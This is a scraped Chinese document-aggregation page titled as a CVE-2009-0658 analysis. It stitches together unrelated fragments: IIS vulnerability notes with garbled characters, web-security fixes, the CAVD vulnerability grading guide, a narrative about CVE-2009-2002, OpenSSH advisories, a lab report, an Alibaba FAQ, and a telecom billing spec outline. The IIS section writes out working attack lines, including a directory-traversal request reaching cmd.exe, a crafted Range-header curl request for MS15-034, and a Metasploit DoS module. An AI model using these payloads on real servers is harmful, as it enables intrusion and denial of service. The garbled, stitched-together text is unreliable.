CVE-2009-0658漏洞分析

合集下载

应用安全-中间件-IIS-漏洞-汇总

应用安全-中间件-IIS-漏洞-汇总

应⽤安全-中间件-IIS-漏洞-汇总简介⽀持协议 HTTP HTTP/2 HTTPS FTP FTPS SMTP NNTP等⽀持操作系统 NT/2000/XP Professional/Server 2003及后续版本(XP Home中没有)解析漏洞I IS 6.0 /xx.asp/xx.jpg "xx.asp"是⽂件夹名I IS 7.0/7.5 默认Fast-CGI开启,直接在url中图⽚地址后⾯输⼊/1.php,会把正常图⽚当成php解析CVE-2017-7269Date2017类型远程代码执⾏影响范围IIS6.0 + WebDAV + Windows Server 2003 R2复现POCEXPCVE-2009-4444Date2009类型Microsoft IIS畸形⽂件扩展名绕过安全限制漏洞影响版本IIS 6.0CVE-2005-4360(MS07-041)Date2005类型远程缓冲区溢出漏洞影响范围IIS 5.1CVE-2009-3023Date2009类型远程代码执⾏影响范围IIS 5.0、IIS 5.1、IIS 6.0CVE-2009-2521Date2009类型DDOS影响范围IIS 5.0、IIS 5.1、IIS 6.0、IIS 7.0IIS认证绕过和源码泄露类型越权+源码泄露影响范围IIS 6.0、IIS 7.5CVE-2015-1635 (MS15-034)Date2015类型远程代码执⾏影响范围IIS:版本 > 6.0操作系统:Windows Server 2008 R2 | Server 2012 | Server 2012 R2 | Windows 7 | Windows 8 | Windows 8.1前置条件有web服务复现POCcurl http://180.76.196.110 -H "Host: 180.76.196.110" -H "Range: bytes=0-18446744073709551615" --》Requested Rabge Not Satisfiable EXPuse auxiliary/dos/http/ms15_034_ulonglongaddCVE-2000-0884Date2000类型远程代码执⾏影响范围IIS 4.0, 5.0 servers复现POC | EXPGET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir短⽂件名前置条件IIS 1.0,Windows NT 3.51IIS 3.0,Windows NT 4.0 Service Pack 2IIS 4.0,Windows NT 4.0选项包IIS 5.0,Windows 2000IIS 5.1,Windows XP Professional和Windows XP Media Center EditionIIS 6.0,Windows Server 2003和Windows XP Professional x64 EditionIIS 7.0,Windows Server 2008和Windows VistaIIS 7.5,Windows 7(远程启⽤<customErrors>或没有web.config)IIS 7.5,Windows 2008(经典管道模式)IS 8.0,Windows 8, Windows Server 2012IIS 8.5,Windows 8.1,Windows Server 2012 R2IIS 10.0,Windows 10, Windows Server 2016注意:IIS使⽤.Net Framework 4时不受影响复现。

常见WEB安全漏洞及整改建议

常见WEB安全漏洞及整改建议

2. jQuery 跨站脚本漏洞2.1 问题描述jQuery是继prototype之后又一个优秀的Javascrīpt框架。

jQuery 1.6.3之前版本中存在跨站脚本漏洞。

当使用location.hash选择元素时,通过特制的标签,远程攻击者利用该漏洞注入任意web脚本或HTML。

2.2 整改方法目前厂商已经发布了升级补丁以修复此安全问题,补丁获取:.ubuntu./usn/USN-1722-1/2.3 整改案例升级jQuery版本。

3. 跨站脚本编制3.1 问题描述:跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息的方式诱使管理员浏览,从而获得管理员权限,控制整个。

攻击者利用跨站请求伪造能够轻松地强迫用户的浏览器发出非故意的HTTP请求,如诈骗性的电汇请求、修改口令和下载非法的容等请求。

风险等级:高风险围:任何存在输入/输出方法(包括GET与POST)的页面皆可能存在恶意符号输入缺陷,主要影响应用包括留言板、在线通讯信息、文章发布页面等。

3.2 整改建议:对用户输入的参数执行严格检测:1、对产生漏洞模块的传入参数进行有效性检测。

int类型的只允许0-9的整型数字;string等字符类型的只允许(1-9,a-z,A-Z)的英文字母;2、当客户端输入限定值意外的字符后,立即转向自定义的错误页,而不能使用服务器默认的错误输出方式;3、对穿入参数进行危险字符过滤,禁止('、"、+、%、&、<>、()、;、,.等)特殊字符的传入。

3.3 案例:加固例(一):/*将login.jsp中[String u =request.getParameter("u");]替换为如下容:*/String u = request.getParameter("u");u = u.replace ('<','_');u = u.replace ('>','_');u = u.replace('"','_');u = u.replace('\'','_');u = u.replace ('%','_');u = u.replace(';','_');u = u.replace('(','_');u = u.replace(')','_');u = u.replace('&','_');u = u.replace('+','_');加固例(二):/*更积极的方式是利用正则表达式只允许输入指定的字符:*//*在[String u = request.getParameter("u");]后代入以下isValidInput函数作辨别*/public boolean isValidInput(Stringstr){if(str.matches("[a-z0-9]+"))return true;else return false;}4. URL重定向钓鱼4.1 3.1问题描述:通过构建URL,攻击者可以使用户重定向到任意URL,利用这个漏洞可以诱使用户访问某个页面,挂马、密码记录、下载任意文件等,常被用来钓鱼。

系统安全漏洞与恶意代码介绍

系统安全漏洞与恶意代码介绍
变化 从传播范围来看,恶意代码呈现多平台传播的特

35
恶意代码分类
照恶意代码运行平台 按照恶意代码传播方式 按照恶意代码的工作机
制 按照恶意代码危害
罗伯特.莫里斯
1995年—首次发现macro virus
31
恶意代码发展
1996年—netcat的UNIX版发布(nc) 1998年—第一个Java virus(StrangeBrew) 1998年—netcat的Windows版发布(nc) 1998年—back orifice(BO)/CIH 1999年—melissa/worm(macrovirus by email) 1999年—back orifice(BO) for WIN2k 1999年—DOS/DDOS-Denial of Service TFT/
恶意代码的发展趋势?从传播速度上来看恶意代码爆发和传播速度越来越快?从攻击意图来看恶意代码的开发者越来越与业化其意图也从游戏炫耀与向为恶意牟利?从功能上来看恶意代码的分工越来越细?从实现技术来看恶意代码实现的关键技术丌断变化?从传播范围来看恶意代码呈现多平台传播的特征35恶意代码分类36?照恶意代码运行平台?按照恶意代码传播斱式?按照恶意代码的工作机制?按照恶意代码危害分类蠕虫病毒后门木马有害工具流氓软件风险程序其他恶意代码分类37?丌传染的依附型恶意代码?流氓软件逡辑炸弹恶意脚本?丌传染的独立型恶意代码?木马rootkit风险程序?传染的依附型恶意代码?传统的病毒cih等?传染的独立型恶意代码?蠕虫病毒?可以丌依附亍所谓的数组而独立存在
了解安全漏洞的静态与动态挖掘方法的基本原理 了解补丁分类及修复时应注意的问题
12
漏洞的发现
从人工发现阶段发展到了依靠自动分析工具辅助 的半自动化阶段

CAVD漏洞分级指南

CAVD漏洞分级指南

CAVD漏洞分级指南一、适用范围本标准规定了汽车信息安全漏洞危害程度的评价指标和等级划分方法。

凡是被中国汽车行业漏洞库(CA VD)收录的漏洞,均适用此分级规范,包括采集的公开漏洞以及收录的未公开漏洞,通用型漏洞及汽车专有漏洞。

二、术语和定义下列术语和定义适用于本文件。

(一)汽车漏洞(vehicle vulnerability)汽车漏洞是在智能网联汽车相关的硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,可使攻击者能够在未授权的情况下以远程、短距离或接触的方式进行访问或破坏系统,造成人身、财产的危害或有价值信息的泄漏等危害。

(二)脆弱性组件(vulnerable component)脆弱性组件指车辆中包含漏洞的组件,通常是软件应用、软件模块、驱动、甚至硬件设备等。

攻击者通过利用脆弱性组件中的漏洞来发动对车辆的攻击。

(三)受影响组件(impacted component)受影响组件指车辆的漏洞被成功利用后遭受危害的组件,如软件应用、硬件设备、网络资源等。

受影响组件可以是脆弱性组件本身,可以是车辆中其他软件、硬件或网络组件。

(四)影响范围(impacted scope)影响范围指车辆漏洞被成功利用后遭受危害的资源的范围。

若受漏洞影响的资源超出了脆弱性组件的范围,则受影响组件和脆弱性组件不同;若受漏洞影响的资源局限于脆弱性组件内部,则受影响组件和脆弱性组件相同。

三、漏洞评分要素本标准使用三级指标对漏洞进行评分,分别是场景参数指标、威胁参数指标和影响参数指标。

(一)场景参数场景参数指发动攻击前,对要利用的漏洞相关技术掌握情况、对影响车辆的状态及范围进行描述的相关因子,包括技术掌握、车辆工况、攻击范围等三类因子。

1、技术掌握技术掌握指对被利用的攻击漏洞了解程度以及对技术的掌握程度的总和考量,分为低,中,高三等:●低:模糊知悉漏洞位置,掌握攻击流程,包括攻击工具、攻击步骤等;●中:可获取详细的漏洞资料及信息,在“低”的基础上,知悉漏洞的相关原理;●高:在“中”的基础上,熟练掌握漏洞触发工作模式,已积累成熟的相关原理。

cve-2009-2002

cve-2009-2002

cve-2009-2002CVE-2009-2002: 一次网络攻击的故事近几年来,网络安全问题愈发凸显,各种漏洞和攻击手法不断涌现。

而CVE-2009-2002,就是其中一例令人们深感震惊的事件。

本文将带您进入这次网络攻击的现场,感受当时的紧张氛围和攻击给人们带来的影响。

故事发生在2009年的一个晴朗的夏日。

某大型网络服务提供商的服务器突然遭到了一次严重的攻击。

这次攻击的目标是该公司的用户数据库,其中存放着大量用户的个人信息和敏感数据。

攻击者利用了CVE-2009-2002漏洞,通过发送精心构造的恶意请求,成功地绕过了服务器的安全防护机制。

这个漏洞存在于服务器的网络协议栈中,攻击者通过发送特定格式的数据包,导致服务器在解析过程中发生缓冲区溢出,从而使攻击者能够执行恶意代码。

一旦攻击者成功执行了恶意代码,他们便获得了对服务器的完全控制权。

他们开始窃取用户的个人信息,并将数据库中的数据全部下载到他们的控制服务器上。

这些被窃取的数据包括用户的用户名、密码、电子邮件地址以及其他一些敏感信息。

当网络服务提供商发现这次攻击时,他们立即采取了紧急措施,关闭了受影响的服务器,并修复了该漏洞。

但是,这已经无法阻止攻击者窃取了大量用户的个人信息。

事后,网络服务提供商迅速采取了一系列措施,包括重置用户的密码、加强服务器的安全配置、加密用户的敏感信息等,以保护用户的利益。

同时,他们也向用户公开道歉,并承诺加强安全防护,避免类似事件再次发生。

这次攻击给用户和公司带来了巨大的损失和困扰。

许多用户因为个人信息被泄露而遭受到身份盗窃和欺诈行为,公司也因信誉受损而面临着巨大的经济损失。

CVE-2009-2002漏洞的曝光和攻击事件的发生再次提醒了人们网络安全的重要性。

各个组织和个人都应该高度重视网络安全,采取有效的措施来保护个人和机构的信息安全。

在这个充满挑战的网络时代,我们每个人都应该保持警惕,不断提升自己的网络安全意识,以免成为网络攻击的牺牲品。

典型AdobeFlashPlayer漏洞简介与原理分析

典型AdobeFlashPlayer漏洞简介与原理分析

31摘 要:随着Flash 文件在网络上的应用日益广泛,Adobe Flash Player 的安全问题受到人们越来越多的关注,它的每一个漏洞都有引发巨大安全问题的可能性。

文章首先从Flash 客户端技术和Flash 三维可视化分析两个方面对Adobe Flash Player 的运行机制进行了介绍,研究了ActionScript 语言、Flash 渲染模型、事件机制、Flash 三维图形显示、Stage3D 硬件加速和Stage3D 三维建模的特性;接下来描述了SWF 文件的格式信息,对SWF 文件的文件头和标签结构进行介绍;然后结合CVE 网站的统计信息,对Adobe Flash Player 漏洞进行分类,将其划分为Flash 文件格式漏洞、Flash 拒绝服务漏洞、Flash 跨站脚本攻击漏洞和Flash 欺骗攻击漏洞等4大类;随后对漏洞分析技术进行了详细介绍,建立了针对Adobe Flash Player 的漏洞分析技术模型;最后以10个典型的Adobe Flash Player 漏洞作为实例,经过信息收集、数据流跟踪和漏洞原理分析等过程,得到了漏洞的产生机理。

关键词:Adobe Flash Player ;漏洞分类;漏洞分析;SWF 文件格式中图分类号:TP309 文献标识码: A 文章编号:1671-1122(2014)10-0031-07Introduction and Analysis of Adobe Flash Player VulnerabilitiesMENG Zheng, ZENG Tian-ning, MA Yang-yang, WEN Wei-ping(School of Software&Microelectronics, Peking University, Beijing 102600, China )Abstract: As the application of Flash file in the network is becoming more and more wide, the security problems of Adobe Flash Player have also attracted more and more attentions. Every vulnerability has a possibility to arise serious security problem. This dissertation first describes the operation mechanism of Adobe Flash Player from the two aspects of Flash client technology and Flash 3D visualization analysis, gives a research on the characters of ActionScript language, Flash rendering model, event mechanism, Flash three dimensional graphic display, Stage3D hardware speeding and Stage3D modeling. Then the format of SWF fi le is described, and the fi le heading and the label structure are introduced. Combining with the statistic information of CVE website, the article takes a classi fi cation on the vulnerabilities of Adobe Flash Player. These four types of vulnerabilities are Flash file format vulnerability, Flash service denial vulnerability, Flash cross site scripting vulnerability and Flash spoo fi ng attack vulnerability. Then the vulnerabilities classification method and the vulnerabilities analysis technology of Adobe Flash Player are described in detail and the technical model for vulnerability analysis targeting on Adobe Flash Player is built up. At last, ten typical vulnerabilities in Adobe Flash Player are taken as the practical examples. After the processes of information collection, data flow tracking and vulnerability principle analysis, the vulnerability production mechanism is drawn out fi nally.Key words: Adobe Flash Player; vulnerabilities classi fi cation; vulnerabilities analysis; SWF fi le format收稿日期: 2014-06-06基金项目: 国家自然科学基金[61170282]作者简介:孟正(1990-),男,河北,硕士研究生,主要研究方向:漏洞分析和漏洞挖掘;曾天宁(1990-),男,山东,硕士研究生,主要研究方向:网络与系统安全;马洋洋(1989-),男,山东,硕士研究生,主要研究方向:网络与系统安全;文伟平(1976-),男,湖南,副教授,博士,主要研究方向:网络攻击与防范、恶意代码研究、信息系统逆向工程和可信计算技术等。

CAVD漏洞分级指南

CAVD漏洞分级指南

CAVD漏洞分级指南1.分级标准CAVD漏洞分级指南将漏洞根据其可能的影响和被利用的难度分为五个级别:Critical、High、Medium、Low和Info。

这些级别是根据漏洞对系统或网络的威胁程度以及攻击者利用漏洞的可能难度来确定的。

2. Critical(危急级)这个级别的漏洞有极高的危险性,可能会导致系统完全被攻击者控制或瘫痪。

这些漏洞通常可以在远程环境中被利用,攻击者无需授权或身份认证就能够实施攻击。

这类漏洞需要立即修复,否则可能带来严重的后果。

3. High(高危级)这个级别的漏洞具有较高的危险性,可能会导致系统的敏感信息泄露、拒绝服务或局部破坏。

这些漏洞通常也可以在远程环境中被利用,但攻击者可能需要一些授权或身份认证。

这类漏洞需要在一定的时间框架内修复,以保护系统的安全。

4. Medium(中危级)这个级别的漏洞具有一定的危险性,可能会导致系统的部分信息泄露、性能下降或局部破坏。

这些漏洞通常需要攻击者在本地环境下利用,或者需要一些特定的条件。

这类漏洞应该在合理的时间内修复,以减少系统的潜在安全风险。

5. Low(低危级)这个级别的漏洞具有较低的危险性,可能会导致系统的非敏感信息泄露或局部性能下降。

这些漏洞通常需要攻击者在本地环境下利用,并且需要特定的条件。

这类漏洞可以在不影响系统整体安全的情况下,合理的时间内进行修复。

6. Info(信息级)这个级别的漏洞并不会直接影响系统的安全性,它们仅提供一些系统的信息或配置细节,可能会为攻击者提供一些有用的信息。

这类漏洞通常由不完全的配置或错误的实施而导致。

修复这类漏洞可以提高系统的安全性,但不是十分紧急。

7.漏洞评估与分级要对漏洞进行评估和分级,可以根据漏洞的描述、可能的攻击方式和受影响的系统、服务或功能等方面进行综合判断。

对于危急级和高危级的漏洞,应该优先修复,确保系统的安全性。

对于中危级和低危级的漏洞,可以根据资源限制和系统的重要性进行相应的处理。

cve-2006-0987 2008r2

cve-2006-0987 2008r2

CVE-2006-0987 漏洞及其对 Windows Server 2008 R2 的影响一、漏洞概述1. CVE-2006-0987 漏洞是指在软件或操作系统中存在的安全漏洞,可以被黑客利用进行远程攻击或其他恶意行为。

2. 该漏洞最初在2006年被发现,并被赋予CVE编号2006-0987。

它存在于某些版本的操作系统中,包括Windows Server 2008 R2。

二、漏洞的具体影响3. CVE-2006-0987 漏洞对Windows Server 2008 R2 的影响主要体现在以下几个方面:3.1. 可能导致系统崩溃或死机3.2. 可能会泄露敏感信息3.3. 可能被黑客利用进行远程攻击三、漏洞修复措施4. 针对CVE-2006-0987 漏洞,微软公司于发现后采取了一系列修复措施,以减轻漏洞带来的危害:4.1. 发布安全补丁4.2. 更新操作系统4.3. 提供相关的安全建议和指南四、Windows Server 2008 R2 的安全加固建议5. 除了及时应用微软发布的安全补丁外,针对 Windows Server 2008 R2 系统,我们还可以采取以下措施进行安全加固:5.1. 启用防火墙,限制对端口的访问5.2. 定期备份数据,以应对可能的攻击或数据丢失5.3. 安装可信的安全软件,对系统进行实时监控和防护五、如何预防类似漏洞的发生6. 为了预防类似漏洞的发生,我们还应该培养安全意识,加强对系统的监控和管理,做好以下工作:6.1. 及时了解漏洞信息,关注软件或操作系统的安全公告6.2. 定期对系统进行安全扫描和漏洞检测6.3. 加强对系统管理员的培训和管理,防止人为失误或疏忽导致安全漏洞的发生在使用 Windows Server 2008 R2 系统时,我们应当对系统的安全性给予足够的重视,及时更新补丁、加强安全加固措施、培养安全意识,从而有效预防 CVE-2006-0987 漏洞对系统的影响。

漏洞分析报告模板

漏洞分析报告模板

漏洞分析报告模板1. 概述本文档是漏洞分析报告的模板,旨在对系统或应用程序中的漏洞进行详细分析和说明。

本报告将提供漏洞的背景信息、风险评估、漏洞的技术细节以及建议的修复措施。

2. 漏洞信息2.1 漏洞标题在这里填写漏洞的标题。

2.2 漏洞编号在这里填写漏洞的编号(如果有)。

2.3 漏洞类型在这里填写漏洞的类型,例如:SQL注入、跨站脚本攻击(XSS)、远程代码执行等。

2.4 漏洞等级在这里填写漏洞的等级,例如:高危、中等、低危等。

2.5 漏洞描述在这里提供对漏洞的简要描述,说明漏洞的影响范围和可能的利用方式。

3. 漏洞分析在这个章节中,我们将对漏洞进行详细的分析。

3.1 影响范围在这里说明漏洞对系统或应用程序的影响范围,包括影响的组件、功能或业务流程。

3.2 漏洞利用过程在这里描述漏洞的利用过程,详细说明攻击者如何利用漏洞执行恶意操作。

可以包括攻击载荷样例或步骤流程图。

3.3 漏洞原理在这里解释漏洞产生的原理和根本原因,可以包括相关的代码片段或漏洞利用的技术细节。

3.4 漏洞验证在这里提供漏洞验证的步骤和方法,包括验证环境的搭建、验证载荷的构建和运行等。

3.5 漏洞修复建议在这里给出修复漏洞的建议和方案,包括代码修复、配置更改、补丁应用等。

4. 风险评估在这个章节中,我们将对漏洞的风险进行评估。

4.1 漏洞影响程度在这里评估漏洞对系统或应用程序的影响程度,包括数据泄露、服务中断、远程执行等。

4.2 漏洞利用难度在这里评估攻击者利用漏洞的难度,包括漏洞的复现难度、攻击载荷的构建难度、攻击所需的特殊知识等。

4.3 潜在威胁在这里分析漏洞可能导致的潜在威胁,包括用户数据泄露、系统功能受损、合规和法律问题等。

4.4 风险评级根据漏洞的影响程度、利用难度和潜在威胁,对漏洞进行综合评估,给出一个相应的风险评级。

5. 修复建议根据漏洞分析和风险评估,给出修复漏洞的具体建议。

5.1 长期措施在这里提供长期修复漏洞的建议,包括代码改进、安全配置改进、开发流程改进等。

[我要采购]阿里国际站:发布采购信息过期时间无法选择怎么办?

[我要采购]阿里国际站:发布采购信息过期时间无法选择怎么办?

[我要采购]阿里国际站:发布采购信息过期时间无法选择怎么办?
日期: 2016/04/13
分类:跨境电商 |
关键词: 采购, 国际, 发布, 需求, 信息, 查看, 时间, 选择, 无法, 浏览器, 资料, 超过, 举例, 产品, 下载, 截图, 原因, 添加, 栏目, 公司, 类目, 参考, 默认, 系统, 更换, 方法, 技巧, 兴趣, 退回, 收到, 提醒, 只能, 点击, 报价, 试下, 管理, 审核, 来源, 报价单, 提示, 删除
目前采购信息过期时间至少一周,最长不超过一年。

举例:如您是今天发布产品信息,那最近的过期时间只能是下周一,下周一之前的时间系统默认无法选择。

截图参考:
温馨提醒:若您已选择有效时间,但依旧无法点击,一般是浏览器原因,请更换并清理IE浏览器试下,点此查看清理方法。

温馨提醒:
下载之前,这些资料也许你有兴趣:。

OpenSSH堆缓冲区溢出漏洞

OpenSSH堆缓冲区溢出漏洞

OpenSSH roaming_common.c堆缓冲区溢出漏洞(CVE-2016-0778)详细描述OpenSSH是SSH协议的开源实现。

OpenSSH 5.x, 6.x, 7.1p2之前的7.x版本,启用了某些代理及转发选项后,roaming_common.c 内的函数roaming_read及roaming_write未正确保留连接文件描述符,这可使远程服务器造成拒绝服务(堆缓冲区溢出)。

<*来源:OpenSSH*>解决办法厂商补丁:OpenSSH-------目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:/txt/release-7.1p2威胁分值9.8危险插件否发现日期2016-01-15CVE编号CVE-2016-0778NSFOCUS 32264CNNVD编号 CNNVD-201601-250CNCVE编号 CNCVE-20160778CVSS评分9.8Openssh MaxAuthTries限制绕过漏洞(CVE-2015-5600)详细描述OpenSSH(OpenBSD Secure Shell)是OpenBSD计划组所维护的一套用于安全访问远程计算机的连接工具。

该工具是SSH协议的开源实现,支持对所有的传输进行加密,可有效阻止窃听、连接劫持以及其他网络级的攻击。

OpenSSH 6.9及之前版本的sshd中的auth2-chall.c文件中的‘kbdint_next_device’函数存在安全漏洞,该漏洞源于程序没有正确限制处理单链接中的keyboard-interactive设备。

远程攻击者可借助ssh -oKbdInteractiveDevices选项中较长且重复的列表利用该漏洞实施暴力破解攻击,或造成拒绝服务(CPU消耗)。

<*来源:OpenSSH*>解决办法厂商补丁:OpenSSH-------目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载://cgi-bin/cvsweb/src/usr.bin/ssh/auth2-chall.c.diff?r1=1.42&r2=1.43&f= h威胁分值8.5危险插件否发现日期2015-08-23CVE编号CVE-2015-5600NSFOCUS 30549CNNVD编号 CNNVD-201508-001CNCVE编号 CNCVE-20155600CVSS评分8.5OpenSSH J-PAKE授权问题漏洞(CVE-2010-4478)详细描述OpenSSH是SSH协议组的实现,可为各种服务提供加密的认证传输,包括远程shell访问。

软件安全实验二缓冲区溢出漏洞分析与验证

软件安全实验二缓冲区溢出漏洞分析与验证

软件安全课程实验报告
实验二缓冲区溢出漏洞分析与验证
一、实验内容
1)本课程实验研究对象是一个Web服务器zookws,该服务器上运行一个Python的web应用zoobar,web用户之间转移一种称为zoo
bars的货币,分析web服务器的逻辑,寻找缓冲区溢出漏洞并触
发该漏洞;
2)实验环境为Ubuntu,在VMware Player虚拟机中的vm-6858运行,系统有两个账号:
root:口令6858,用来安装软件
httpd:口令6858,运行服务器和实验程序
二、实验预备
1.运行ifconfig查看ip
2.远程ssh连接
3. make编译程序
4.启动服务器
5.用浏览器访问zook服务
6.用ps命令查看当前运行的进程
三、寻找漏洞
1.实验缓冲区利用的是strcpy的缓冲区漏洞,找到代码中是否有strcpy,找到了,在dir_join中。

四、触发漏洞
1.打开服务器,启动web
2.那么就可以将原来分配的1024字节大小的缓冲区进行溢出,将请求的路径设
置很长,要超过1024,达到将代码覆盖的效果。

3.漏洞利用结果
五、实验分析与总结
这次实验让我们亲身经历了一次代码审计及缓冲区漏洞利用的过程,实验很有意思,学到的知识也非常的多,通过代码审计,在脑中便利可能的漏洞利用点,然后找出漏洞,并通过shell脚本利用漏洞来进行缓冲区溢出攻击,可以深刻的了解缓冲区漏洞的原理,在以后的审计代码中,会留意,在自己编写程序时,也会避免使用危险函数。

代码安全与漏洞分析:了解常见的安全风险

代码安全与漏洞分析:了解常见的安全风险

代码安全与漏洞分析:了解常见的安全风险代码安全与漏洞分析是指对软件代码进行安全性评估和漏洞分析的过程。

在计算机应用程序中,存在许多常见的安全风险和漏洞,这些漏洞可能导致恶意行为并导致系统的不安全。

本文将介绍一些常见的安全风险和漏洞,并提供一些防范措施。

1.缓冲区溢出缓冲区溢出是一种常见的安全漏洞,它通常发生在输入数据超出了被分配的缓冲区大小时。

攻击者可以通过溢出缓冲区并覆盖关键代码来执行恶意代码。

为了防止缓冲区溢出,开发人员应采取适当的输入验证和缓冲区长度控制措施。

2. SQL注入SQL注入是一种网络应用程序常见的安全漏洞,攻击者通过在输入字段中插入恶意的SQL语句,可以获得对数据库的未经授权的访问权限。

为了防止SQL注入攻击,开发人员应使用参数化查询或预编译语句,并对输入进行严格的验证和过滤。

3.跨站脚本攻击(XSS)跨站脚本攻击是一种攻击者通过在受害者的浏览器中注入恶意的脚本来获取用户敏感信息的安全漏洞。

为了防止XSS攻击,开发人员应对用户输入进行适当的编码和过滤,并在输出时使用合适的转义字符。

4.跨站请求伪造(CSRF)跨站请求伪造是一种攻击者利用用户在其他网站上的身份认证信息来伪造用户请求进行攻击的安全漏洞。

为了防止CSRF攻击,开发人员应使用合适的防护措施,如使用token验证和验证码等。

5.目录遍历漏洞目录遍历漏洞是指攻击者可以通过修改URL中的路径来访问不应该被访问的文件或目录。

为了防止目录遍历漏洞,开发人员应对用户输入和URL进行适当的验证和过滤,并使用访问控制列表来限制文件和目录的访问权限。

6.代码注入代码注入是指攻击者通过在应用程序中注入恶意代码来执行未经授权的操作的安全漏洞。

为了防止代码注入攻击,开发人员应使用安全的API,并对用户输入进行合适的验证和过滤。

7.敏感数据泄漏敏感数据泄露是指未经授权地暴露用户敏感信息的安全漏洞。

为了防止敏感数据泄露,开发人员应使用加密技术来保护存储在数据库中的数据,并采取适当的措施来保护网络传输中的数据。

常见软件安全漏洞的分析和防范

常见软件安全漏洞的分析和防范

常见软件安全漏洞的分析和防范软件是现如今人们工作、生活中不可或缺的一部分。

随着软件应用范围的不断扩大,软件安全问题也已成为我们日常工作生活中不可忽略的重要问题。

本文将从常见软件安全漏洞的角度出发,为读者们深入分析软件安全问题,并提供防范措施。

一、常见软件安全漏洞1、缓冲区溢出(Buffer Overflow)缓冲区溢出是一种最常见,却也最危险的安全漏洞。

缓冲区溢出通常是指在对缓冲区进行存储数据时,缓冲区的容量不足导致多余数据的覆盖。

此时,攻击者可将恶意代码注入到缓冲区中,从而破坏操作系统或数据。

2、SQL注入(SQL Injection)SQL注入常出现于网站系统中,攻击者通过输入特殊字符,改变SQL语句的执行方式,从而获得非法访问目标数据的权限。

其中有一种常见的方法,就是攻击者通过有意输入一些特殊字符,改变SQL语句的语义。

3、恶意软件(Malware)恶意软件包括病毒、木马、蠕虫等类型。

这类软件会给用户的电脑造成损伤,例如,破坏用户数据,植入后门程序等等。

有一种常见的恶意软件——勒索病毒,通常会通过加密用户文件并勒索用户的方式进行攻击。

4、拒绝服务攻击(DDoS)拒绝服务攻击是通过大量的请求,或者大量的虚假请求来攻击他人的计算机网络,从而使得其无法正常工作。

这种攻击是一种分布式攻击,攻击者往往是利用了互联网上的成千上万台由他人进行控制的电脑。

二、防范措施1、输入验证在网站、软件设计时,要进行输入验证,限制输入字符集合,防止注入攻击。

在输入中应排除一切非法字符,例如单引号、双引号等特殊字符,同时限制输入的最大长度,防止缓冲区溢出。

2、系统安全设置在系统安全设置时,要加强对系统权限的管理,启用访问控制,控制用户的系统访问权限,同时对系统程序开展频率和范围的保护。

还应注意及时更新系统补丁,以及及时清除身边可能携带的插入式设备,例如U盘等。

3、数据备份对于数据备份,可以定期备份重要数据,避免数据的丢失,同时保证数据不被恶意程序所破坏。

中国电信在线计费系统(OCS)技术要求V0.8

中国电信在线计费系统(OCS)技术要求V0.8

中国电信企业标准版本号:V0.8中国电信股份有限公司2005-5前言中国电信移动业务在线计费设备技术要求是在充分研究和分析国内外在线计费系统基础上,基于中国电信移动业务在线计费的需求,参考3GPP、IETF等国际标准组织的在线计费系统规范编制的。

本方案是中国电信移动业务在线计费设备技术要求,为中国电信移动业务在线计费系统总体技术方案的组成部分,是在线计费设备技术要求的指导性文件,整个在线计费系统技术方案主要包括:《中国电信在线计费系统(OCS)总体技术方案》《中国电信在线计费系统(OCS)业务需求》《中国电信在线计费系统(OCS)技术要求》《中国电信在线计费系统OCP接口规范》《中国电信在线计费系统SCP设备改造要求》《中国电信在线计费系统ISMP设备改造要求》《中国电信在线计费系统CCG设备技术要求》本技术方案由中国电信股份有限公司业务支撑中心提出并归口。

本方案起草单位:本方案主要起草人:本方案解释单位:目录1适用范围 (12)2引用标准 (13)3术语和缩略语 (14)3.1术语 (14)3.2缩略语 (15)4系统体系结构 (17)4.1OCS网络位置 (17)4.2OCS系统结构 (18)4.2.1功能模块 (18)4.2.2接口 (19)5业务功能要求 (21)5.1通用接口层(Common Interface Function) (21)5.1.1请求消息格式转化 (21)5.1.2话单文件的预处理 (22)5.1.3用户基本资料加载 (23)5.1.4提供路由分发机制 (23)5.1.5应答消息格式转化 (24)5.1.6异常管理 (24)5.2计费控制(Charging Function) (24)5.2.1计费控制流程 (25)5.2.1.1基于会话的初始计费控制流程 (25)5.2.1.2基于会话的更新计费控制流程 (27)5.2.1.3基于会话的中止计费控制流程 (28)5.2.1.4基于事件的计费控制流程 (30)5.2.2会话管理 (31)5.2.2.2关闭会话 (32)5.2.2.3会话状态监控管理 (32)5.2.2.4重发鉴权请求检查 (32)5.2.3计费管理 (33)5.2.3.1业务识别和计费策略加载 (33)5.2.3.2帐户控制 (33)5.2.3.3批价控制 (33)(1) 批价得到服务的资费、费用或使用量 (33)(2) 余额临界值的判断和处理 (33)(3) 费率切换点的判断和处理 (34)(4) CCA相关参数的设置 (35)5.2.3.4计费信息的更新处理 (35)5.2.3.5多业务并发处理 (36)5.2.3.6计费话单生成 (36)5.2.4AoC功能 (36)5.2.5异常处理 (37)5.3批价处理(Rating Function) (37)5.3.1费用计算能力 (37)5.3.1.1支持事件格式动态识别 (37)5.3.1.2支持多种计费对象 (37)5.3.1.3支持多种计费元素 (38)5.3.1.4支持条件灵活判别 (38)5.3.1.5支持灵活的费用计算 (39)5.3.2费用计算方式 (39)5.3.2.1正算 (39)5.3.2.1.1预申请额度的计算 (39)5.3.2.1.2最终额度的计算 (40)5.3.2.2反算 (40)5.3.3异常处理 (40)5.4.1预留功能 (40)5.4.2返还功能 (41)5.4.3扣费功能 (41)5.4.4补款功能 (41)5.4.5充值功能 (42)5.4.5.1周期性充值 (42)5.4.5.2累积充值 (42)5.4.5.3按帐目充值 (42)5.4.5.4充值帐目限制消费 (42)5.4.5.5余额帐本余额转移 (43)5.4.6外部余额使用 (43)5.4.7实时余额查询 (43)5.4.8帐户余额监控 (43)5.4.8.1触发条件和动作的定义 (43)5.4.8.2帐户余额监控动作触发 (44)5.4.8.3记录操作日志 (44)5.5计费网关(Charging Gateway Function) (44)5.5.1支持定时话单文件生成 (45)5.5.2支持定量话单文件生成 (45)5.5.3支持定时和定量结合的话单文件生成 (45)6外部接口要求 (46)6.1计费消息输入接口 (47)6.1.1接口概述 (47)6.1.2接口要求 (47)6.2计费话单输入接口 (47)6.2.1接口概述 (47)6.2.2接口要求 (47)6.3与SID的同步接口 (48)6.3.1接口概述 (48)6.3.2.1同步数据 (49)客户数据 (49)产品数据 (49)定价数据 (49)计费参数数据 (50)6.3.2.2同步要求 (50)6.3.2.3同步方式 (51)6.4外部帐户接口 